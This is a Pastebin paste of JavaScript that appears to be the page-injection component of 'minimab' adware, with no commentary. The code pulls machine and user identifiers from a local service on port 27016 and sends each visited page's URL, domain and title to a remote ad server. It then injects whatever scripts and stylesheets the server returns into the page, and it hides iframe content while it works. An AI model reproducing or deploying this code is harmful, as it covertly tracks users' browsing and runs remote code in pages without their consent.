Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //var mab_boot_url = "http://api.rawautoprofits.com/api/wsv2?command=adStrings&app=minimab";
- //var mab_boot_url = "http://api.rawautoprofits.com/api/wsv2?command=adStrings&app=minimab&release=26";
- //var mab_boot_url = "http://api.recomme.me/api/wsv2?command=getURL&resource=ad_strings";
- var mab_boot_url = "";
- var mab_boot_url_path = "/api/wsv2?command=getURL&resource=ad_strings";
- var mab_boot_url_domain = ""; //This should be somthing like "http://my.domain.com" or "https://my.domain.com"
- var mab_cache_url = "http://127.0.0.1:27016/script/"
- var mab_mid_url = "http://127.0.0.1:27016/id";
- var mab_guid_url = "http://127.0.0.1:27016/guid";
- var mab_update_url = "http://127.0.0.1:27016/update";
- var mab_version_url = "http://127.0.0.1:27016/version";
- var mab_appid_url = "http://127.0.0.1:27016/appid";
- var mab_domain_url = "http://127.0.0.1:27016/domain";
- var mab_mid = null;
- var mab_guid = null;
- var mab_version = null;
- var mab_version_version = null;
- var mab_version_release = null;
- var mab_appid = null;
- var mab_injectFlag = false;
- var mab_responseText = null;
- var minimabArgs = null;
- /////////////////////////////////////////////////////////////////////////////////////////////////////////////
- // BROWSER DETECTION
- var mab_BrowserDetect = {
- init: function () {
- this.browser = this.searchString(this.dataBrowser) || "An unknown browser";
- this.version = this.searchVersion(navigator.userAgent)
- || this.searchVersion(navigator.appVersion)
- || "an unknown version";
- this.OS = this.searchString(this.dataOS) || "an unknown OS";
- },
- searchString: function (data) {
- for (var i = 0; i < data.length; i++) {
- var dataString = data[i].string;
- var dataProp = data[i].prop;
- this.versionSearchString = data[i].versionSearch || data[i].identity;
- if (dataString) {
- if (dataString.indexOf(data[i].subString) != -1)
- return data[i].identity;
- }
- else if (dataProp)
- return data[i].identity;
- }
- },
- searchVersion: function (dataString) {
- var index = dataString.indexOf(this.versionSearchString);
- if (index == -1) return;
- return parseFloat(dataString.substring(index + this.versionSearchString.length + 1));
- },
- dataBrowser: [
- {
- string: navigator.userAgent,
- subString: "Chrome",
- identity: "Chrome"
- },
- {
- string: navigator.userAgent,
- subString: "OmniWeb",
- versionSearch: "OmniWeb/",
- identity: "OmniWeb"
- },
- {
- string: navigator.vendor,
- subString: "Apple",
- identity: "Safari",
- versionSearch: "Version"
- },
- {
- prop: window.opera,
- identity: "Opera",
- versionSearch: "Version"
- },
- {
- string: navigator.vendor,
- subString: "iCab",
- identity: "iCab"
- },
- {
- string: navigator.vendor,
- subString: "KDE",
- identity: "Konqueror"
- },
- {
- string: navigator.userAgent,
- subString: "Firefox",
- identity: "Firefox"
- },
- {
- string: navigator.vendor,
- subString: "Camino",
- identity: "Camino"
- },
- { // for newer Netscapes (6+)
- string: navigator.userAgent,
- subString: "Netscape",
- identity: "Netscape"
- },
- {
- string: navigator.userAgent,
- subString: "MSIE",
- identity: "Explorer",
- versionSearch: "MSIE"
- },
- {
- string: navigator.userAgent,
- subString: "Gecko",
- identity: "Mozilla",
- versionSearch: "rv"
- },
- { // for older Netscapes (4-)
- string: navigator.userAgent,
- subString: "Mozilla",
- identity: "Netscape",
- versionSearch: "Mozilla"
- }
- ],
- dataOS: [
- {
- string: navigator.platform,
- subString: "Win",
- identity: "Windows"
- },
- {
- string: navigator.platform,
- subString: "Mac",
- identity: "Mac"
- },
- {
- string: navigator.userAgent,
- subString: "iPhone",
- identity: "iPhone/iPod"
- },
- {
- string: navigator.platform,
- subString: "Linux",
- identity: "Linux"
- }
- ]
- };
- mab_BrowserDetect.init();
- ////////////////////////////////////////////////////////////////////////////////////////////////////////////
- function mab_browserCompatible() {
- ///////////////////////////////////////////////////////////
- //Special cases
- //Awesomium exception
- var ua = navigator.userAgent;
- if (ua.toLowerCase().indexOf("awesomium") > -1) return false;
- //////////////////////////////////////////////////////////
- var myBrowserOS = mab_BrowserDetect.OS;
- var myBrowserName = mab_BrowserDetect.browser;
- var myBrowserVersion = Number(mab_BrowserDetect.version);
- //alert(myBrowserOS + "\n" + myBrowserName + "\n" + myBrowserVersion);
- //alert(window.ActiveXObject);
- if (myBrowserOS.toLowerCase().indexOf("windows") == -1) return false;
- var bname = myBrowserName.toLowerCase();
- var bver = myBrowserVersion;
- if (bname.indexOf("mozilla") > -1 && window.ActiveXObject !== null && bver >= 11) return true; //First detect IE11+
- if (bname.indexOf("chrome") == -1 && bname.indexOf("firefox") == -1 && bname.indexOf("explorer") == -1) return false;
- if (bname.indexOf("chrome") > -1 && bver < 30) return false;
- if (bname.indexOf("firefox") > -1 && bver < 25) return false;
- if (bname.indexOf("explorer") > -1 && bver < 9) return false;
- return true;
- }
- var mab_browser_compatible = mab_browserCompatible();
- ////////////////////////////////////////////////////////////////////////////////////////////////////////////
- function inIframe2()
- {
- if (window.frameElement && typeof window.frameElement !== 'undefined' && window.frameElement.tagName.toLowerCase() == "iframe")
- {
- try
- {
- return window.self !== window.top;
- }
- catch (e)
- {
- return true;
- }
- }
- else
- return false;
- }
- function inIframe()
- {
- try
- {
- return window.self !== window.top;
- }
- catch (e)
- {
- return true;
- }
- }
- var mabVisInterval = null;
- function mabMakeInvisible()
- {
- document.body.style.visibility = "hidden";
- }
- if (mab_browser_compatible && inIframe())
- {
- mabVisInterval = setInterval(mabMakeInvisible, 50);
- }
- var is_iframe;
- if (inIframe())
- is_iframe = "true";
- else
- is_iframe = "false";
- ////////////////////////////////////////////////////////////////////////////////////////////////////////////
- function sendRequest(url,callback,postData,el,w,h)
- {
- var req = createXMLHTTPObject();
- if(!req)
- {
- /*alert("Could not create XHR object!");*/
- return;
- }
- var method = (postData)?"POST":"GET";
- /*alert("Will send request to url: " + url);*/
- req.open(method,url,true);
- if (postData) req.setRequestHeader('Content-type','application/x-www-form-urlencoded');
- req.onreadystatechange = function()
- {
- /*
- if (url.toLowerCase().indexOf("127.0.0.1") > -1)
- {
- callback(req,el,w,h,url);
- }
- else
- {
- */
- if (req.readyState!=4) return;
- if(req.status!=200 && req.status!=304)
- {
- return;
- }
- callback(req,el,w,h,url);
- //}
- }
- if (req.readyState == 4) return;
- req.send(postData);
- }
- var XMLHttpFactories = [function(){return new XMLHttpRequest()},
- function(){return new ActiveXObject("Msxml2.XMLHTTP")},
- function(){return new ActiveXObject("Msxml3.XMLHTTP")},
- function(){return new ActiveXObject("Microsoft.XMLHTTP")}];
- function createXMLHTTPObject()
- {
- var xmlhttp=false;
- for(var i=0; i<XMLHttpFactories.length; i++)
- {
- try
- {
- xmlhttp=XMLHttpFactories[i]();
- }
- catch(e)
- {
- continue;
- }
- break;
- }
- return xmlhttp;
- }
- ////////////////////////////////////////////////////////////////////////////////////////////////////////////
- var mab_version_read = false;
- var mabversionTimeout = null;
- var mabversionCounter = 0;
- var mabversionCounterMax = 100;
- function mab_readVersion(req)
- {
- if (req && req.responseText)
- {
- //alert("mab_readVersion: req.responseText = " + req.responseText);
- mab_version = req.responseText;
- mab_version_read = true;
- mab_version_version = mab_version.substring(0, mab_version.indexOf(","));
- mab_version_release = mab_version.substring(mab_version.indexOf(",") + 1);
- //alert("version = " + mab_version_version);
- //alert("release = " + mab_version_release);
- }
- else
- {
- mabversionTimeout = setTimeout(mab_getVersion, 100);
- return;
- }
- }
- function mab_getVersion()
- {
- if (mabversionTimeout)
- {
- clearTimeout(mabversionTimeout);
- mabversionTimeout = null;
- }
- if (!mab_browser_compatible) return;
- if (mabversionCounter++ > mabversionCounterMax) return;
- if (mab_version != "none" && mab_version) return;
- //alert("Will request version");
- sendRequest(mab_version_url, mab_readVersion, null, null, null, null);
- }
- mab_getVersion();
- ////////////////////////////////////////////////////////////////////////////////////////////////////////////////
- var mab_mid_read = false;
- var mabmidTimeout = null;
- var mabmidCounter = 0;
- var mabmidCounterMax = 100;
- function mab_readMid(req)
- {
- if (req && req.responseText)
- {
- //alert("mab_readMid: req.responseText = " + req.responseText);
- mab_mid = req.responseText;
- mab_mid_read = true;
- }
- else
- {
- mabmidTimeout = setTimeout(mab_getMid, 100);
- return;
- }
- }
- function mab_getMid()
- {
- if (mabmidTimeout)
- {
- clearTimeout(mabmidTimeout);
- mabmidTimeout = null;
- }
- if (!mab_browser_compatible) return;
- if (mabmidCounter++ > mabmidCounterMax) return;
- //alert("Will execute overlay logic");
- if (mab_mid != "none" && mab_mid) return;
- //alert("Will request mid");
- sendRequest(mab_mid_url, mab_readMid, null, null, null, null);
- }
- mab_getMid();
- ////////////////////////////////////////////////////////////////////////////////////////////////////////////////
- var mab_guid_read = false;
- var mabguidTimeout = null;
- var mabguidCounter = 0;
- var mabguidCounterMax = 100;
- function mab_readGuid(req)
- {
- if (req && req.responseText)
- {
- //alert("mab_readGuid: req.responseText = " + req.responseText);
- mab_guid = req.responseText;
- mab_guid_read = true;
- }
- else
- {
- mabguidTimeout = setTimeout(mab_getGuid, 100);
- return;
- }
- }
- function mab_getGuid()
- {
- if (mabguidTimeout)
- {
- clearTimeout(mabguidTimeout);
- mabguidTimeout = null;
- }
- if (!mab_browser_compatible) return;
- if (mabguidCounter++ > mabguidCounterMax) return;
- //alert("Will execute overlay logic");
- if (mab_guid != "none" && mab_guid) return;
- //alert("Will request guid");
- sendRequest(mab_guid_url, mab_readGuid, null, null, null, null);
- }
- mab_getGuid();
- ////////////////////////////////////////////////////////////////////////////////////////////////////////////////
- var mab_appid_read = false;
- var mabappidTimeout = null;
- var mabappidCounter = 0;
- var mabappidCounterMax = 100;
- function mab_readAppID(req)
- {
- if (req && req.responseText)
- {
- //alert("mab_readAppID: req.responseText = " + req.responseText);
- mab_appid = req.responseText;
- mab_appid_read = true;
- }
- else
- {
- mabappidTimeout = setTimeout(mab_getAppID, 100);
- return;
- }
- }
- function mab_getAppID()
- {
- if (mabappidTimeout)
- {
- clearTimeout(mabappidTimeout);
- mabappidTimeout = null;
- }
- if (!mab_browser_compatible) return;
- if (mabappidCounter++ > mabappidCounterMax) return;
- //alert("Will execute overlay logic");
- if (mab_appid != "none" && mab_appid) return;
- //alert("Will request appid");
- sendRequest(mab_appid_url, mab_readAppID, null, null, null, null);
- }
- mab_getAppID();
- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////
- var mab_injectScripts_timeout = null;
- function mab_injectScripts(req)
- {
- if (mab_injectScripts_timeout)
- {
- clearTimeout(mab_injectScripts_timeout);
- mab_injectScripts_timeout = null;
- }
- //if (inIframe()) alert("mab_injectScripts() called in iframe");
- if (mab_injectFlag) return;
- if (req && req.responseText)
- mab_responseText = req.responseText;
- else if (!mab_responseText)
- {
- mab_boot3();
- return;
- }
- var rs = document.readyState.toLowerCase();
- //if (inIframe()) alert("rs = \"" + rs + "\" in iframe");
- if (rs.indexOf("loading") > -1)
- {
- mab_injectScripts_timeout = setTimeout(mab_injectScripts, 250);
- return;
- }
- //if (inIframe()) alert("In iframe, mab_responseText = \n" + mab_responseText);
- var jsonResponse = JSON.parse(mab_responseText);
- //Look for on-demand script cache update flag
- var cacheUpdate = jsonResponse["cacheUpdate"];
- if (cacheUpdate)
- {
- sendRequest(mab_update_url, function(){}, null, null, null, null);
- }
- var injectScripts = jsonResponse["injectScripts"];
- if (!injectScripts || !injectScripts.length)
- {
- //if (inIframe()) alert("No inject scripts found!");
- clearInterval(mabVisInterval);
- document.body.style.visibility = "visible";
- return;
- }
- mab_injectFlag = true;
- minimabArgs = jsonResponse["minimabArgs"];
- minimabArgs.appid = mab_appid;
- //if (inIframe()) alert("Will inject scripts in iframe");
- for (var i = 0; i < injectScripts.length; i++)
- {
- var elTag = null;
- var el = null;
- var sName = injectScripts[i].name;
- var sVersion = injectScripts[i].currentVersion;
- //if (sName.toLowerCase().indexOf("adscript_start.js") > -1) continue; //REMOVE THIS
- //if (inIframe()) alert("sName = " + sName);
- //if (inIframe()) alert("sVersion = " + sVersion);
- //if (inIframe()) alert("inIframe() = " + inIframe());
- if (inIframe() && sName.toLowerCase().indexOf("adscript_start.js") == -1) continue;
- //if (!inIframe() && sName.toLowerCase().indexOf("adscript_start.js") > -1) continue;
- if (sName.toLowerCase().indexOf(".css") > -1)
- elTag = "style";
- else if (sName.toLowerCase().indexOf(".js") > -1)
- elTag = "script";
- else
- continue;
- var sFinalName = sName + "." + sVersion;
- //if (inIframe()) alert("Will inject: " + sFinalName + " in iframe");
- if (elTag == "script")
- {
- //alert("Will inject script");
- el = document.createElement("script");
- el.type = "text/javascript";
- el.src = mab_cache_url + sFinalName + ".js";
- document.body.appendChild(el);
- //alert("injected script");
- }
- else if (elTag == "style")
- {
- //alert("Will inject style");
- el = document.createElement('link');
- el.setAttribute('rel', 'stylesheet');
- el.setAttribute('type', 'text/css');
- el.setAttribute('href', mab_cache_url + sFinalName + ".css");
- document.getElementsByTagName('head')[0].appendChild(el);
- //alert("injected style");
- }
- //alert("Will append " + elTag + " element with src = " + el.src);
- }
- }
- ////////////////////////////////////////////////////////////////////////////////////////////////////////////
- var mab_urlArray = null;
- var mab_urlArray_index = 0;
- var mab_current_url = null;
- var mab_current_domain = null;
- function mab_boot3()
- {
- if (mab_urlArray_index > mab_urlArray.length - 1) return;
- mab_current_url = mab_urlArray[mab_urlArray_index++];
- //alert("mab_current_url = " + mab_current_url);
- var pos1 = mab_current_url.indexOf("//") + 2;
- var s = mab_current_url.substring(pos1);
- var pos2 = s.indexOf("/");
- mab_current_domain = mab_current_url.substring(0, pos1 + pos2);
- //alert("mab_current_domain = " + mab_current_domain);
- var url = encodeURIComponent(document.URL);
- var domain = document.domain;
- var title = encodeURIComponent(document.title);
- sendRequest(mab_current_url + "&app=minimab" +
- "&version=" + mab_version_version +
- "&release=" + mab_version_release +
- "&mid=" + mab_mid +
- "&guid=" + mab_guid +
- "&iniframe=" + is_iframe +
- "&url=" + url +
- "&domain=" + domain +
- "&title=" + title +
- "&appid=" + mab_appid,
- mab_injectScripts, null, null, null, null);
- }
- function mab_boot2(req)
- {
- //if (!inIframe()) alert("mab_boot() called in main page");
- if (!req || !req.responseText) return;
- //Get and parse URL array
- mab_urlArray = JSON.parse(req.responseText);
- mab_boot3();
- }
- function mab_boot(req)
- {
- if (!req || !req.responseText) return;
- //if(req.status != 200 && req.status != 304) return;
- /*
- var url = req.responseText;
- var s = url.substring(url.indexOf("//" + 2));
- if (!s) return;
- var pos = s.indexOf("/");
- if (pos == -1) return;
- mab_boot_url_domain = url.substring(0, pos);
- */
- mab_boot_url_domain = req.responseText;
- mab_boot_url = mab_boot_url_domain + mab_boot_url_path;
- sendRequest(mab_boot_url, mab_boot2, null, null, null, null);
- }
- function mab_preboot()
- {
- //if (!inIframe()) processMainPage();
- //alert("mab_preboot called");
- sendRequest(mab_domain_url, mab_boot, null, null, null, null);
- }
- //////////////////////////////////////////////////////////////////////////////////////////////////////////
- var mab_checkDocCompletionTimeout = 0;
- function mab_checkDocCompletion()
- {
- //alert("checkDocCompletion");
- //alert(document.readyState);
- clearTimeout(mab_checkDocCompletionTimeout);
- var rs = document.readyState.toLowerCase();
- //alert("mab_version_read = " + mab_version_read + ", mab_mid_read = " + mab_mid_read + ", mab_appid_read = " + mab_appid_read);
- if ( (rs.toLowerCase().indexOf("loading") > -1 || rs.toLowerCase().indexOf("loaded") > -1 || rs.indexOf("complete") > -1) && mab_version_read && mab_mid_read && mab_appid_read && mab_guid_read)
- {
- mab_preboot();
- //setTimeout(mab_preboot, 5000);
- }
- else
- {
- mab_checkDocCompletionTimeout = setTimeout(mab_checkDocCompletion, 50);
- }
- }
- //if (inIframe()) alert("will call mab_checkDocCompletion() in iframe");
- if (mab_browser_compatible)
- {
- //alert("Browser is compatible");
- mab_checkDocCompletionTimeout = setTimeout(mab_checkDocCompletion, 0);
- }
- userElementRules = new Array("");var MAB_License = "kolos";var MAB_SystemID = "45EF42BFE0FAADDC4DAAD6222E451FFE";
Advertisement
Add Comment
Please, Sign In to add comment